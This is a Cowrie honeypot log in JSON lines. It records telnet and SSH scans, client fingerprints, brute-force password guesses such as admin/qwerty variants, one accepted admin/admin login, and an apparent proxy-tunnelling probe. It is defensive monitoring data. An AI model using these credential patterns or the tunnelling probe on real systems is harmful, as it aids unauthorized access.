{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55668,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ea39623df1b","protocol":"telnet","message":"New connection: 135.148.33.91:55668 (159.203.135.109:23) [session: 2ea39623df1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:21.751335Z"}
{"eventid":"cowrie.session.closed","duration":31.99985122680664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:32.625064Z","src_ip":"135.148.33.91","session":"851c85914d97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47935342788696,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:36.695285Z","src_ip":"135.148.33.91","session":"54774242e33c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.692102909088135,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:41.399230Z","src_ip":"135.148.33.91","session":"4342e648bdc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.67994165420532,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:49.202615Z","src_ip":"135.148.33.91","session":"508249f6db12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.89328169822693,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:57.644484Z","src_ip":"135.148.33.91","session":"2ea39623df1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51122,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5e41742b4ba","protocol":"telnet","message":"New connection: 135.148.33.91:51122 (159.203.135.109:23) [session: b5e41742b4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:07:01.691492Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53288,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c920a2dcabe","protocol":"telnet","message":"New connection: 135.148.33.91:53288 (159.203.135.109:23) [session: 3c920a2dcabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:07:05.585314Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.211.125.137","src_port":42014,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac50ae0fc1f3","protocol":"telnet","message":"New connection: 187.211.125.137:42014 (10.17.0.5:23) [session: ac50ae0fc1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:07:25.682718Z"}
{"eventid":"cowrie.session.closed","duration":34.547587633132935,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:07:36.238949Z","src_ip":"135.148.33.91","session":"b5e41742b4ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.260581016540527,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:07:38.943171Z","src_ip":"187.211.125.137","session":"ac50ae0fc1f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.608121156692505,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:07:39.193275Z","src_ip":"135.148.33.91","session":"3c920a2dcabe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38210,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae7c54fe397","protocol":"telnet","message":"New connection: 45.58.127.90:38210 (10.17.0.5:23) [session: 4ae7c54fe397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:07:50.422556Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51150,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd4606a9516","protocol":"telnet","message":"New connection: 135.148.33.91:51150 (159.203.135.109:23) [session: bdd4606a9516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:07:51.576406Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33662,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ca89fc1b75f","protocol":"telnet","message":"New connection: 135.148.33.91:33662 (159.203.135.109:23) [session: 0ca89fc1b75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:08:10.055083Z"}
{"eventid":"cowrie.session.closed","duration":34.721041202545166,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:08:26.297319Z","src_ip":"135.148.33.91","session":"bdd4606a9516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26328444480896,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:08:26.685735Z","src_ip":"45.58.127.90","session":"4ae7c54fe397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44472,"dst_ip":"159.203.135.109","dst_port":23,"session":"529825c3d74d","protocol":"telnet","message":"New connection: 135.148.33.91:44472 (159.203.135.109:23) [session: 529825c3d74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:08:28.347761Z"}
{"eventid":"cowrie.session.closed","duration":41.876673460006714,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:08:51.931625Z","src_ip":"135.148.33.91","session":"0ca89fc1b75f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.038283824920654,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:09:08.385917Z","src_ip":"135.148.33.91","session":"529825c3d74d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38178,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bd5c1709e47","protocol":"telnet","message":"New connection: 135.148.33.91:38178 (159.203.135.109:23) [session: 0bd5c1709e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:09:49.589083Z"}
{"eventid":"cowrie.session.closed","duration":35.593024492263794,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:10:25.181982Z","src_ip":"135.148.33.91","session":"0bd5c1709e47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59112,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cdcc07fa391","protocol":"telnet","message":"New connection: 135.148.33.91:59112 (159.203.135.109:23) [session: 2cdcc07fa391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:10:25.598157Z"}
{"eventid":"cowrie.session.closed","duration":33.46258091926575,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:10:59.060631Z","src_ip":"135.148.33.91","session":"2cdcc07fa391","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.186","src_port":44782,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d38103be964","protocol":"ssh","message":"New connection: 176.65.132.186:44782 (10.17.0.5:22) [session: 9d38103be964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:09.668610Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:09.677058Z","src_ip":"176.65.132.186","session":"9d38103be964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.186","src_port":44792,"dst_ip":"10.17.0.5","dst_port":22,"session":"4116ed41275a","protocol":"ssh","message":"New connection: 176.65.132.186:44792 (10.17.0.5:22) [session: 4116ed41275a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:13.583873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:13.589299Z","src_ip":"176.65.132.186","session":"4116ed41275a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:13.672333Z","src_ip":"176.65.132.186","session":"4116ed41275a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:14.067658Z","src_ip":"176.65.132.186","session":"4116ed41275a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"176.65.132.186","dst_port":80,"src_ip":"176.65.132.186","src_port":5555,"message":"direct-tcp connection request to 176.65.132.186:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:14.203401Z","session":"4116ed41275a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"176.65.132.186","dst_port":80,"data":"b'Wb9H2BOpWCGeHKGaDBD6i0MP9F8x9kyGuH9SlqJHZbrApMsMZK'","id":0,"message":"discarded direct-tcp forward request 0 to 176.65.132.186:80 with data b'Wb9H2BOpWCGeHKGaDBD6i0MP9F8x9kyGuH9SlqJHZbrApMsMZK'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:14.289279Z","src_ip":"176.65.132.186","session":"4116ed41275a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:14.406693Z","src_ip":"176.65.132.186","session":"4116ed41275a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59886,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f192cb6844b","protocol":"telnet","message":"New connection: 135.148.33.91:59886 (159.203.135.109:23) [session: 4f192cb6844b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:15.445046Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":11910,"dst_ip":"159.203.135.109","dst_port":22,"session":"23542afbe92c","protocol":"ssh","message":"New connection: 213.209.159.56:11910 (159.203.135.109:22) [session: 23542afbe92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:20.619522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:20.624716Z","src_ip":"213.209.159.56","session":"23542afbe92c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:20.706913Z","src_ip":"213.209.159.56","session":"23542afbe92c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal","message":"login attempt [jamaal/jamaal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:21.106945Z","src_ip":"213.209.159.56","session":"23542afbe92c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal1","message":"login attempt [jamaal/jamaal1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:22.191971Z","src_ip":"213.209.159.56","session":"23542afbe92c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal123","message":"login attempt [jamaal/jamaal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:23.278228Z","src_ip":"213.209.159.56","session":"23542afbe92c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal1234","message":"login attempt [jamaal/jamaal1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:24.363346Z","src_ip":"213.209.159.56","session":"23542afbe92c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal12345","message":"login attempt [jamaal/jamaal12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:25.449402Z","src_ip":"213.209.159.56","session":"23542afbe92c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:26.536203Z","src_ip":"213.209.159.56","session":"23542afbe92c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40154,"dst_ip":"159.203.135.109","dst_port":23,"session":"686076486333","protocol":"telnet","message":"New connection: 135.148.33.91:40154 (159.203.135.109:23) [session: 686076486333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:30.544416Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47068,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e279fb2d640","protocol":"telnet","message":"New connection: 135.148.33.91:47068 (159.203.135.109:23) [session: 5e279fb2d640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:48.104882Z"}
{"eventid":"cowrie.session.closed","duration":35.65597176551819,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:11:51.100890Z","src_ip":"135.148.33.91","session":"4f192cb6844b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.48068618774414,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:12:10.024972Z","src_ip":"135.148.33.91","session":"686076486333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.598249435424805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:12:19.703036Z","src_ip":"135.148.33.91","session":"5e279fb2d640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41210,"dst_ip":"159.203.135.109","dst_port":23,"session":"beecc8b1734d","protocol":"telnet","message":"New connection: 135.148.33.91:41210 (159.203.135.109:23) [session: beecc8b1734d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:12:19.873842Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":45895,"dst_ip":"159.203.135.109","dst_port":23,"session":"677271a2763c","protocol":"telnet","message":"New connection: 98.158.129.28:45895 (159.203.135.109:23) [session: 677271a2763c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:12:21.163563Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55654,"dst_ip":"159.203.135.109","dst_port":23,"session":"27c976215960","protocol":"telnet","message":"New connection: 135.148.33.91:55654 (159.203.135.109:23) [session: 27c976215960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:12:44.421951Z"}
{"eventid":"cowrie.session.closed","duration":31.175007343292236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:12:52.338441Z","src_ip":"98.158.129.28","session":"677271a2763c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.180514097213745,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:12:56.054244Z","src_ip":"135.148.33.91","session":"beecc8b1734d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.53.160.120","src_port":52164,"dst_ip":"159.203.135.109","dst_port":23,"session":"83089b4a8dc0","protocol":"telnet","message":"New connection: 182.53.160.120:52164 (159.203.135.109:23) [session: 83089b4a8dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:08.564767Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":31071,"dst_ip":"10.17.0.5","dst_port":22,"session":"1909f4b185c7","protocol":"ssh","message":"New connection: 2.57.121.112:31071 (10.17.0.5:22) [session: 1909f4b185c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:09.804686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:09.809555Z","src_ip":"2.57.121.112","session":"1909f4b185c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:09.909738Z","src_ip":"2.57.121.112","session":"1909f4b185c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwertyuiop123","message":"login attempt [admin/qwertyuiop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:10.382783Z","src_ip":"2.57.121.112","session":"1909f4b185c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwertyu8","message":"login attempt [admin/qwertyu8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:11.486048Z","src_ip":"2.57.121.112","session":"1909f4b185c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty666","message":"login attempt [admin/qwerty666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:12.589163Z","src_ip":"2.57.121.112","session":"1909f4b185c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty10","message":"login attempt [admin/qwerty10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:13.699356Z","src_ip":"2.57.121.112","session":"1909f4b185c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123rty","message":"login attempt [admin/qwe123rty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:14.803090Z","src_ip":"2.57.121.112","session":"1909f4b185c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:15.911554Z","src_ip":"2.57.121.112","session":"1909f4b185c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.21569895744324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:18.637550Z","src_ip":"135.148.33.91","session":"27c976215960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.752746820449829,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:21.317390Z","src_ip":"182.53.160.120","session":"83089b4a8dc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":34158,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d5d7079e72b","protocol":"ssh","message":"New connection: 194.59.206.2:34158 (10.17.0.5:22) [session: 9d5d7079e72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:23.481438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:23.486207Z","src_ip":"194.59.206.2","session":"9d5d7079e72b","protocol":"ssh"}
